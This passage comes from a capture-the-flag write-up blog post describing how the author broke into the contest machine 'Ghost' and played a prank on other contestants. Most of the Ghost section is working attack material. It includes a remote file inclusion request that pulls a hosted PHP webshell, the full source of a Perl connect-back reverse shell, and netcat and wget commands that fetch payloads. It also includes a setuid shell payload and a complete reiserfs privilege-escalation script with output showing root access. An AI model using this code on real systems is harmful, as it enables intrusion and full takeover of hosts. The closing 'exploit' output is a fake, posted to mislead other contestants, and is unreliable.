(Based on http://www.exploit-db.com/exploits/5259, the IMAP service, for example, may be vulnerable to a post AUTH bug. Since I have been able to change passwords for surgemail accounts, it may have been possible to exploit this bug and use it to gain system access again. But I didn’t try, because I already had achieved the goal : get the key from the text file.
Note : the admin who set up this machine should either get trained, or fired. Does anyone know a decent training facility ?
Challenge 2 : Ghost
This was a fun but painful/hard one. In addition to that (and unfortunately for me), I had to spend most of the day (monday) in the hospital…
I was happy to see that my friends at Corelan Team continued their evil work in the meantime. And it also was nice to see that they applied the same logic and scripts/exploits that I was using/trying. So they nailed the challenge before I could… and that’s awesome.
This is what I did to “bust Ghost” :
A portscan against 192.168.6.66/67/68 revealed only one open port: tcp/80 (http), serving a webpage that looks like this :
Apparently the person/people who set up this box, tried very hard (not hard enough though) to make it look like an MS IIS server :
- they changed the server header
- they planted well-known folder structures on the server which are available on some IIS servers
- they used asp file extension, which is usually linked to IIS (or Java Web Server)
On top of that, they planted all kinds of “slow down”/fake exercises (such as a nice script file called “javascript”, basically randomizing the selection of pictures)), and used some nice redirection techniques to make directory/file bruteforcing a real pain.
But I quickly figured out that this is not a Windows box running IIS. I did some folder bruteforcing and after filtering out some of the redirects I found some interesting folders. One of the folders displayed a basic folder browser (basically looking like something that is served via IIS) : http://192.168.6.66/Sites
They even planted an file called “ViewCode.asp” on the server (size 0), probably in an attempt to slow down the attackers process and make them focus on a known bug (but something that isn’t real)
Nice try, but not good enough to convince me.
On top of that, a quick xprobe also indicates that this is a linux box :
root@krypt2:/pentest/enumeration# xprobe2 -v -p tcp:80:open 192.168.6.66 Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu [+] Target is 192.168.6.66 [+] Loading modules. [+] Following modules are loaded: [x] [1] ping:icmp_ping - ICMP echo discovery module [x] [2] ping:tcp_ping - TCP-based ping discovery module [x] [3] ping:udp_ping - UDP-based ping discovery module [x] [4] infogather:ttl_calc - TCP and UDP based TTL distance calculation [x] [5] infogather:portscan - TCP and UDP PortScanner [x] [6] fingerprint:icmp_echo - ICMP Echo request fingerprinting module [x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request fingerprinting module [x] [8] fingerprint:icmp_amask - ICMP Address mask request fingerprinting module [x] [9] fingerprint:icmp_port_unreach - ICMP port unreachable fingerprinting module [x] [10] fingerprint:tcp_hshake - TCP Handshake fingerprinting module [x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module [x] [12] fingerprint:smb - SMB fingerprinting module [x] [13] fingerprint:snmp - SNMPv2c fingerprinting module [+] 13 modules registered [+] Initializing scan engine [+] Running scan engine [-] ping:udp_ping module: no closed/open UDP ports known on 192.168.6.66. Module test failed [+] Host: 192.168.6.66 is up (Guess probability: 66%) [+] Target: 192.168.6.66 is alive. Round-Trip Time: 0.25938 sec [+] Selected safe Round-Trip Time value is: 0.51877 sec [-] fingerprint:smb need either TCP port 139 or 445 to run [-] fingerprint:snmp: need UDP port 161 open [+] Primary guess: [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.10" (Guess probability: 86%) [+] Other guesses: [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.21" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.12" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.19" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.14" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.17" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.16" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.15" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.18" (Guess probability: 86%) [+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.13" (Guess probability: 86%) [+] Cleaning up scan engine [+] Modules deinitialized [+] Execution completed.
Taking this into account, this can only mean that the asp files are either just static pages, or just renamed php files, served via a custom handler.
Looking at the other folders and files I discovered in the bruteforce, my attention was drawn by a file called /1/index.asp
While requests to other pages seem to redirect to images or just return 200 OK, this page appeared to have some content.
Look back at the login form on the first page… It seems to be just a static html, renamed to an asp page, without any real code behind it. No matter what you enter as username/password, you always end up on the page again. So that either means that there’s code behind it that doesn’t show anything, or that there is no code behind it. No way to really tell at this point.
But in the case the /1/index.asp page, things are different.
If you enter a username and press the enter button, something actually returns, so it looks like there is some code behind this page :
Looking at the field names in the html source of the page, I see this :
<html> <head> <title>Page titletitle> head> <body><div align="center">Wrong username or password.div> <form method="post" action="/1/index.asp"> Username: <input type="text" name="slogin_POST_username" value="corelanc0d3r"><br> Password: <input type="password" name="slogin_POST_password"><br> <input type="submit" name="slogin_POST_send" value="Enter"> form> body> html>
A quick Google search for the fieldnames (slogin_username or just slogin_ in general) in this asp script provided me with a few resources :
http://www.dreamweaverclub.com/forum/showthread.php?t=24851
=> and that page leads me to :
http://www.mariovaldez.net/software/sitefilo/install.php (Simple Text-File Login script)
which in return brings me at : http://www.milw0rm.com/exploits/7444
In fact, http://192.168.6.66/1/version.txt confirms that this might be the code that is installed on the system :
Based on the milw0rm entry, it looks like this code may be vulnerable to a RFI (Remote File Inclusion / Sensitive Data Disclosure bug)
Let’s try the Data Disclosure bug first. The advisory states that the default username/password file is called slog_users.txt.
Unfortunately this file does not contain what we had expected :
(maybe they renamed the file and changed the filename in slogin_lib.inc.php). We can try to bruteforce these files, but let’s save some time and try to find out if we can use the RFI bug. An RFI bug can lead to a lot of things, including injecting code and run it on the webserver (if we can for example inject it into a file that is used in a vulnerable “include” statement).
A request to http://192.168.6.66/1/slogin_lib.inc.php resulted in a 200 OK reply, so the file seems to be there.
The exploit code (milw0rm) indicates that this “Simple Text-File Login script” file (slogin_lib.inc.php) can be exploited using the following request :
[!] EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
Current time is 3:30am. Time for bed.
Sunday morning, 10am. Back in business, time to continue work… reading all about the RFI bug, trying out some requests… but nothing seems to work today.
Around 4pm, I tried this :
http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://192.168.6.71/&cmd=ls%20-als
aha- that looks great. It looks like code can be injected (header.inc.php file) and it would run on the webserver. (header.inc.php is added to the request automatically, so if I host some code in a file called header.inc.php, it would get included by just pointing the parameter to the root of the webserver.
I already figured out I can run commands within the context of the webserver account, but perhaps things can be made a bit easier : inject a full blown php shell.
Plan :
- get a copy of a php webshell (I used c99 but there are many more)
- rename it to header.inc.php,
- host it somewhere so it can be injected into the request
- inject/execute it
Where can I find a webserver for this… ? I could try to host it on my attacker machine… but there is a better solution. There’s a webserver (surgemail) available on 192.168.6.70/71/72. I have ftp write access to that server, so I can just drop some files in the c:\surgemail\www folder.
In addition to the webshell, it might be nice to have a reverse shell set up from the webserver to my box, so I can easily issue OS commands. One of my friends (mr_me) gave me a copy of cb_shell.pl, I simply renamed it to corelanshell.pl and uploaded it to the webserver as well :-)
#!/usr/bin/perl # # Connect back shell version 0.0 # Created by Depth # Full hide version # Use: cb_shell.pl# netcat -l -p (localhost) # use IO::Socket; $0 = $ARGV[2]; my $sock = new IO::Socket::INET (PeerAddr => $ARGV[0],PeerPort => $ARGV[1],Proto => 'tcp'); connect(CLIENT,$sockaddr); print $sock ":: Depth :: Connect Back Shell ::\n"; if(fork() == 0){ STDIN->fdopen($sock,w); STDOUT->fdopen($sock,w); STDERR->fdopen($sock,w); system("/bin/sh"); close($sock); exit; }
Upload script in action (saves me some time when machines get reverted :) )
root@krypt2:/vpn/70# ftp -inv 192.168.6.70 < ftpcmd Connected to 192.168.6.70. 220-Complete FTP server 220 FTP Server v 3.3.0 331 Password required for devil 230 User devil logged in. Remote system type is UNIX. Using binary mode to transfer files. 250 Directory changed to "/MyDocuments/......". 250 Directory changed to "/MyDocuments/....../......". 250 Directory changed to "/MyDocuments/....../....../......". 250 Directory changed to "/MyDocuments/....../....../....../......". 250 Directory changed to "/MyDocuments/....../....../....../....../surgemail". 250 Directory changed to "/MyDocuments/....../....../....../....../surgemail/www". 200 Type set to I local: corelanshell.pl remote: corelanshell.pl 200 PORT command successful. 150 Opening BINARY mode data connection for corelanshell.pl 226 Transfer complete. 519 bytes sent in 0.00 secs (2077.2 kB/s) local: header.inc.php remote: header.inc.php 200 PORT command successful. 150 Opening BINARY mode data connection for header.inc.php 226 Transfer complete. 150397 bytes sent in 0.94 secs (156.4 kB/s) 221 Goodbye.
Ok, so far so good. Next, I will
1. get the header.inc.php to execute and give me a nice web shell gui
2. use the gui to download the corelanshell.pl file
3. execute the perl script and get myself a reverse shell
Step 1 :
http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://192.168.6.70/
=> This will basically grab the php shell from 192.168.6.70 (in the webroot, header.inc.php) and execute it
Using the “find all writeable dirs and files” option, I gathered a list of writeable folders :
2693 4 -rw-rw-rw- 1 root root 163 May 4 15:52 /var/run/motd 840 0 lrwxrwxrwx 1 root root 5 May 4 02:26 /var/tmp -> /tmp/ 2696 0 drwxrwxrwt 4 root root 80 May 4 15:52 /var/lock 35652 0 lrwxrwxrwx 1 root root 18 Apr 29 21:25 /var/lib/python-support -> /usr/lib/pymodules 5339 0 lrwxrwxrwx 1 root root 7 Apr 29 21:18 /var/spool/mail -> ../mail 49222 4 drw-rw-rw- 2 root root 4096 May 4 06:55 /opt/data 15 0 lrwxrwxrwx 1 root root 7 Apr 29 21:18 /media/floppy -> floppy0 13 0 lrwxrwxrwx 1 root root 6 Apr 29 21:18 /media/cdrom -> cdrom0 16655 0 lrwxrwxrwx 1 root root 37 Apr 29 21:19 /initrd.img -> boot/initrd.img-2.6.31-14-generic-pae 36865 1 drwxrwxrwt 2 root root 1024 May 4 05:43 /tmp/.X11-unix 24577 1 drwxrwxrwt 2 root root 1024 May 4 05:43 /tmp/.ICE-unix 4026531841 0 lrwxrwxrwx 1 root root 8 May 4 16:01 /proc/net -> self/net 4026531840 0 lrwxrwxrwx 1 root root 11 May 4 16:01 /proc/mounts -> self/mounts
/var/lock might be a good target to place my files.
Step 2 :
Went to the /var/lock folder and downloaded the corelanshell.pl file from the webserver at 192.168.6.70 :
=>
Step 3 :
First, set up a netcat listener on my “attacker” machine :
nc -lvp 4455
Next, ran the following command on the server :
perl /var/lock/corelanshell.pl 192.168.6.114 4455 :
Result :
root@krypt2:/vpn/70# nc -lvp 4455
listening on [any] 4455 ...
connect to [192.168.6.114] from (UNKNOWN) [192.168.6.66] 56073
:: Depth :: Connect Back Shell ::
Ok, I’ve got a nice reverse shell.
root@krypt2:/vpn/70# nc -lp 4455
:: Depth :: Connect Back Shell ::
pwd
/var/lock
ls -al
total 8
drwxrwxrwt 4 root root 100 May 4 15:58 .
drwxr-xr-x 14 root root 4096 May 4 02:26 ..
drwxr-xr-x 2 www-data root 40 May 4 15:52 apache2
-rw-r--r-- 1 www-data www-data 519 May 6 2010 corelanshell.pl
drwx------ 2 root root 40 May 4 15:52 lvm
Unfortunately I’m not running as root, so if the secret file is hidden somewhere/protected, then I need to find a way to get more privs.
Just to be sure, I did a quick search for all txt files, but couldn’t find anything useful.
Perhaps a local root exploit might work. The system seems to be running
Linux ghost 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
I tried about a dozen of local root exploits… but they all failed miserably… and lost a huge amount of time… (and I have to admit that I’m not that strong in Linux exploitation. )
But I never give up.
I looked at /etc/fstab :
cat /etc/fstab # /etc/fstab: static file system information. # # Use 'blkid -o value -s UUID' to print the universally unique identifier # for a device; this may be used with UUID= as a more robust way to name # devices that works even if disks are added and removed. See fstab(5). # #system> <dump> proc /proc proc defaults 0 0 /dev/mapper/ghost-root / ext4 errors=remount-ro 0 1 # /boot was on /dev/sda5 during installation UUID=f9f46813-a78a-42e8-a007-53308212ee26 /boot ext2 defaults 0 2 /dev/sdb1 /apachelogs reiserfs user,noauto,rw,exec,suid,user_xattr 0 2 /dev/sdc1 /tmp ext2 noexec,nosuid,rw 0 0 /dev/mapper/ghost-swap_1 none swap sw 0 0 /dev/scd0 /media/cdrom0 udf,iso9660 user,noauto,exec,utf8 0 0 /dev/fd0 /media/floppy0 auto rw,user,noauto,exec,utf8 0 0
=> /apachelogs has reiserfs… and that’s suspicious.
So I searched for a local sploit that takes advantage of a bug in reiserfs, and I found this one :
http://www.exploit-db.com/exploits/12130
After having poked around on the server, I noticed that tools such as gcc, cc etc were missing, and that paths to common binaries were not defined. On top of that, the default exploit code is based on the fact that the root filesystem is reiserfs, which is not the case here.
I figured I would end up having to mod the python code (preferably on the machine itself), and that would be problematic with my perl connect-back shell (vim issues etc). So I decided to make my life somewhat easier and decided to use rrs to get a better shell (compiled, renamed it to corelanshell, uploaded it to 192.168.6.70, downloaded it into /apachelogs/data and ran it)
By that time, another revert wiped out my files again, and I figured to just mod the files offline and use the perl connect back script. It should work just fine.
Anyways, this is what was needed to root the box and see if the proof file can be found in one of the “root-protected” folders:
- compile the payload separately (because there is no cc/gcc on the ghost machine)
- edit the python script and change all paths to absolute references. The plan is to put the files on /apachelogs/data (just a folder to keep files together) and run the script/pre-compiled code from there
- upload the files (precompiled exploit + python script) and put the script in a location that is not mounted with noexec
- make the necessary reiserfs folder on the filesystem
- execute the script & sploit
- search proof file and cat the contents
Step 1 : compiling the payload (offline, I just used my backtrack system to compile :)
root@krypt2:/vpn/70# cat corelanc0d3r.c int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); } root@krypt2:/vpn/70# cc -w corelanc0d3r.c -o corelanc0d3r
Step 2 : Modify the original python script
- leave out the components that would deal with the compilation and check if the compilation was successful
- make absolute file/path references
- point the xattrs into /apachelogs (instead of /)
(sud0 and the others from Corelan Team fixed most of the issues I had with the script – and they finally rooted the machine before I could… so big kudos to them)
import os, sys #SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' def err(txt): print '[-] error: %s' % txt sys.exit(1) def msg(txt): print '[+] %s' % txt def main(): msg('checking for reiserfs mount with user_xattr mount option') f = open('/etc/fstab') for line in f: if 'reiserfs' in line and 'user_xattr' in line: break else: err('failed to find a reiserfs mount with user_xattr') f.close() msg('checking for private xattrs directory at /apachelogs/.reiserfs_priv/xattrs') if not os.path.exists('/apachelogs/.reiserfs_priv/xattrs'): err('failed to locate private xattrs directory') msg('capturing pre-shell snapshot of private xattrs directory') pre = set(os.listdir('/apachelogs/.reiserfs_priv/xattrs')) msg('setting dummy xattr to get reiserfs object id') ret=os.system('setfattr -n "user.hax" -v "hax" /apachelogs/data/corelanc0d3r') if ret != 0: err('error setting xattr, you need setfattr') msg('capturing post-shell snapshot of private xattrs directory') post = set(os.listdir('/apachelogs/.reiserfs_priv/xattrs')) objs = post.difference(pre) msg('found %s new object ids' % len(objs)) for obj in objs: msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) f = open('/apachelogs/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') f.write(XATTR) f.close() msg('spawning setuid shell...') os.system('/apachelogs/data/corelanc0d3r') if __name__ == '__main__': main()
Step 3 : upload the files
I basically uploaded both files (corelanc0d3r and reis.py) to 192.168.6.70 (via ftp, put them in c:\surgemail\www). Next, I downloaded them from my os shell onto the “ghost” machine using some simple wget calls.
root@krypt2:/vpn/70# ftp -inv 192.168.6.70 < ftpcmd Connected to 192.168.6.70. 220-Complete FTP server 220 FTP Server v 3.3.0 331 Password required for devil 230 User devil logged in. Remote system type is UNIX. Using binary mode to transfer files. 250 Directory changed to "/MyDocuments/......". 250 Directory changed to "/MyDocuments/....../......". 250 Directory changed to "/MyDocuments/....../....../......". 250 Directory changed to "/MyDocuments/....../....../....../......". 250 Directory changed to "/MyDocuments/....../....../....../....../surgemail". 250 Directory changed to "/MyDocuments/....../....../....../....../surgemail/www". 200 Type set to I local: corelanc0d3r remote: corelanc0d3r 200 PORT command successful. 150 Opening BINARY mode data connection for corelanc0d3r 226 Transfer complete. 9125 bytes sent in 0.40 secs local: reis.py remote: reis.py 200 PORT command successful. 150 Opening BINARY mode data connection for reis.py 226 Transfer complete. 1801 bytes sent in 0.37 secs 221 Goodbye.
I already had planted the corelanshell.pl script on 192.168.6.70, so I issued the following command using the c99 webshell :
perl /var/lock/corelanshell.pl 192.168.6.114 4455
Reverse connection accepted, ready to get the 2 files and put them on the server
root@krypt2:/vpn/70# nc -lp 4455 :: Depth :: Connect Back Shell :: cd /apachelogs mkdir data cd data wget http://192.168.6.70/corelanc0d3r wget http://192.168.6.70/reis.py
Find a good location (not mounted with noexec)… => /dev/shm
(I moved the reis.py file to that location)
(important to note that /apachelogs does not show up in the mount list… but I didn’t try to mount it myself… perhaps I should have).
Step 4 : prepare folders
cd /apachelogs mkdir .reiserfs_priv mkdir .reiserfs_priv/xattrs
Step 5 : 0wn
Current situation :
/apachelogs/data/corelanc0d3r => compiled payload
/dev/shm/reis.py => python script
Launch the exploit :
cd /dev/shm ls reis.py python ./reis.py id uid=0(r00t) gid=0(r00t) groups=33(www-data)
cat /root/proof.txt sDSjnSo22bSe12sadjdjrudfknk4455qndlas4
Conclusions
- Using redirects and custom reponses, modifying headers etc are good. They will slow down scripts and script kiddies but won’t stop seasoned hackers from discovering the real identity/engines and/or breaking into the system.
- Although it was somewhat hidden, the “ghost” machine runs some vulnerable code, giving an attacker the ability to issue commands on the system and get a shell. Don’t rely on the “need to know” principle. Hackers will find out that you planted files somewhere and if it’s vulnerable, they will use it to hack into your system.
- The web server runs with a low privilege account, but the combination of the vulnerable code, with insecure file/folder permissions (write access + execute access) may allow for further exploitation.
- On top of that, the reiserfs implementation is buggy and can allow an attacker to escalate privileges, essentially allowing him to obtain root permissions.
- Weak firewall rules : allowing a server to access other servers (outbound connections), when that is not really necessary, may provide a hacker the ability to serve/download malicious files.
Challenge 3 : Ghost2 (joke of the day)
After having finished the challenges, I decided to have some fun with the guys in the #HSIYF channel, and try to spread the rumour that I had found another (hidden) machine. I told them that this machine does not show any open ports, but it does respond to http requests on port 8080 when connected (pivoting) from 192.168.6.70/71/72.
About 2 hours before the games ended, I posted the output of (an obvious fake) exploit to the channel :
c:\sploits>perl corelan0wner_iis0day.pl 192.168.6.xx 8080 [+] corelanc0d3r's sploit for ghost2 (hidden machine) [+] Creating payload... [+] Connecting to port 8080 [+] Sending stage 1 (3219 bytes)... [+] Sending stage 2 (1211 bytes)... [+] Sleeping 30 seconds (wait for hunter) [+] Sending stage 3 (2104 bytes, priv escalation) [+] ... [+] Telnet to port 5555 Microsoft Windows [Version 6.0.6001] Copyright (c) 2006 Microsoft Corporation. All rights reserved C:\Windows\system32>whoami NT AUTHORITY\SYSTEM
I’m not sure how many people fell for it and went back to the “killthen00b” machines, to see if there was something they could find from that machine….
The number of PM’s I reveived, following my fake message was a good indication that I managed to freak out a number of people… that was fun. Panic all over the place :D
So OffSec, if you noticed some high(er) traffic on killthen00b, about 2 hours before the games ended… Sorry for that :)
Finally :
- Big high five to my friends at Corelan Team. You guys rock !
- Make no mistake – although reading this write-up probably took you max. half an hour or so, actually taking the challenge took a LOT longer (also caused by the fact that I spent about a day in the hospital). Anyways, I still had a lot of fun and learned a lot.
- Greetz to some of the other participants (VADiUM, smtx, raph0x88, fireking300, etc… at least you guys didn’t delete my files on the server :) Respect for that )
By the way : smtx made a nice video about the “ghost challenge”. You can see the video here : http://www.information-security-training.com/videos/smtx-ghost-challenge-video/
Ranking
Rank before submitting the documentation :
Final rank :
(So I guess this documentation/blogpost sucks).
Oh well.
© 2010 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.